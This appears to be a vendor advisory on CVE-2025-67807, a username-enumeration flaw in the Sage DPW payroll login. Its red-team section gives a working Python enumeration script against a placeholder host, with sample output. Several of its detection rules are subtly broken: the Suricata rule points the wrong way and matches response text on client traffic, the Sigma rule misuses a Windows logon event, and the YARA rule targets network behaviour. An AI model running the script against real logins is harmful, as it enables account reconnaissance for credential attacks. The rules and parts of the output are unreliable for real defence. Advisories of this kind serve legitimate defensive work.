CVE-2025-67807

Executive Summary

CVE-2025-67807 is a medium-severity information disclosure vulnerability in Sage DPW (Desktop Payroll for Windows) versions prior to 2021_06_000. The login mechanism returns distinct responses for valid and invalid usernames, enabling an attacker to enumerate existing user accounts through a simple brute-force or dictionary-based attack. This enumeration can serve as a precursor to targeted credential attacks (e.g., password spraying or phishing). The vulnerability is present in the on-premise deployment of Sage DPW, and while newer versions (2021_06_000 and later) allow administrators to toggle this behavior, the default configuration in older versions exposes this weakness.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary on-premise payroll application (Sage DPW). No supply chain compromise is involved.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which likely indicates a placeholder or incomplete scoring. Based on the vulnerability characteristics (network-accessible, low complexity, no authentication required, low impact on confidentiality), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): Low (L) – only username enumeration
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 5.3 (Medium)

Threat Level: Medium. The vulnerability does not directly lead to data breach or system compromise, but it significantly reduces the effort required for targeted attacks.

Deep Dive & Mechanics

The vulnerability stems from the login mechanism's response differentiation. When a user attempts to log in, the application checks if the username exists before verifying the password. If the username is invalid, the application returns a distinct error message (e.g., "Invalid username" or "User not found"). If the username is valid but the password is incorrect, a different message is returned (e.g., "Invalid password" or "Login failed").

This behavior allows an attacker to send a series of login requests with different usernames and observe the responses. By analyzing the response patterns, the attacker can compile a list of valid usernames. This enumeration is possible without any authentication.

The vulnerability is present in the on-premise version of Sage DPW. In versions 2021_06_000 and later, administrators can toggle this behavior (likely by enabling a "generic error message" setting), but the default configuration in older versions exposes the vulnerability.

Vulnerable vs. Patched Code

The exact code is proprietary, but the logic can be illustrated with pseudocode.

Vulnerable Code (versions < 2021_06_000):

def login(username, password):
    if not user_exists(username):
        return "Invalid username"
    if not verify_password(username, password):
        return "Invalid password"
    return "Login successful"

Patched Code (versions >= 2021_06_000 with toggle enabled):

def login(username, password):
    if not user_exists(username) or not verify_password(username, password):
        return "Invalid username or password"
    return "Login successful"

The patched code returns a generic error message regardless of whether the username is valid or the password is incorrect, preventing enumeration.

Exploitation & Lab Setup

Red Team

Objective: Enumerate valid usernames on a Sage DPW instance.

Tools: Burp Suite, Python, or any HTTP client.

Steps:

1. Identify the login endpoint: Typically https://<target>/login or similar.
2. Craft a request with a common username: e.g., admin.
3. Observe the response: Note the exact error message (e.g., "Invalid username").
4. Craft a request with a likely valid username: e.g., john.doe.
5. Observe the response: If the message is different (e.g., "Invalid password"), the username is valid.
6. Automate: Use a script to iterate through a list of potential usernames.

Example Python Script:

import requests

target = "https://target-sage-dpw.com/login"
usernames = ["admin", "user", "john.doe", "jane.smith", "test"]

for username in usernames:
    data = {"username": username, "password": "wrongpassword"}
    response = requests.post(target, data=data)
    if "Invalid password" in response.text:
        print(f"[+] Valid username found: {username}")
    elif "Invalid username" in response.text:
        print(f"[-] Invalid username: {username}")

Expected Output:

[-] Invalid username: admin
[+] Valid username found: user
[-] Invalid username: john.doe
[+] Valid username found: jane.smith
[-] Invalid username: test

Blue Team

Objective: Detect and prevent username enumeration.

Detection:

• Monitor login failures: Look for a high volume of login attempts with different usernames from a single IP address.
• Analyze response sizes: If the response size differs between valid and invalid usernames, this can be a detection point.
• Implement rate limiting: Limit the number of login attempts per IP address per time period.
• Use generic error messages: Ensure the application returns the same error message for both invalid username and incorrect password.

Prevention:

• Apply the patch: Upgrade to Sage DPW version 2021_06_000 or later and enable the "generic error message" toggle.
• Web Application Firewall (WAF): Configure rules to block requests with suspicious patterns (e.g., multiple login attempts with different usernames).
• Account lockout: Implement account lockout after a certain number of failed attempts (though this can be bypassed if the attacker uses different usernames).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Multiple HTTP POST requests to the login endpoint with different username parameters from the same source IP.
  • Responses containing "Invalid username" or "Invalid password" (distinct messages).
• Log IOCs:
  • A high number of failed login attempts with different usernames in a short period.
  • Log entries showing "Invalid username" followed by "Invalid password" for the same IP.
• File IOCs:
  • No specific file IOCs, as this is a network-based enumeration.

Detection Engineering

YARA Rule

rule CVE_2025_67807_Username_Enumeration {
    meta:
        description = "Detects username enumeration attempts against Sage DPW login"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67807"
    strings:
        $invalid_username = "Invalid username" nocase
        $invalid_password = "Invalid password" nocase
    condition:
        any of them
}

Sigma Rule

title: Sage DPW Username Enumeration Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple login attempts with different usernames from a single source IP, indicating username enumeration.
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1589
    - cve.2025.67807
logsource:
    category: application
    product: sage_dpw
detection:
    selection:
        EventID: 4625  # Windows Security Log: Failed logon
        TargetUserName|re: '.*'  # Any username
    condition: selection
    timeframe: 5m
    aggregation:
        - field: IpAddress
          function: distinct_count
          field: TargetUserName
          condition: gt 10
falsepositives:
    - Legitimate users with multiple accounts
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67807 - Sage DPW Username Enumeration Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    pcre:"/Invalid (username|password)/i";
    threshold: type both, track by_src, count 10, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade Sage DPW to version 2021_06_000 or later.
2. Configuration Change: In versions 2021_06_000 and later, enable the "generic error message" toggle to prevent username enumeration.
3. Workaround (if patching is not possible):
   • Implement a Web Application Firewall (WAF) rule to block requests with multiple different usernames from the same IP.
   • Use a reverse proxy to modify the login response to a generic error message.
4. Long-term:
   • Conduct a security review of the login mechanism.
   • Implement multi-factor authentication (MFA) to reduce the impact of credential attacks.
   • Monitor logs for unusual login patterns.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C47C430EAD0ABBF884661FDD] */}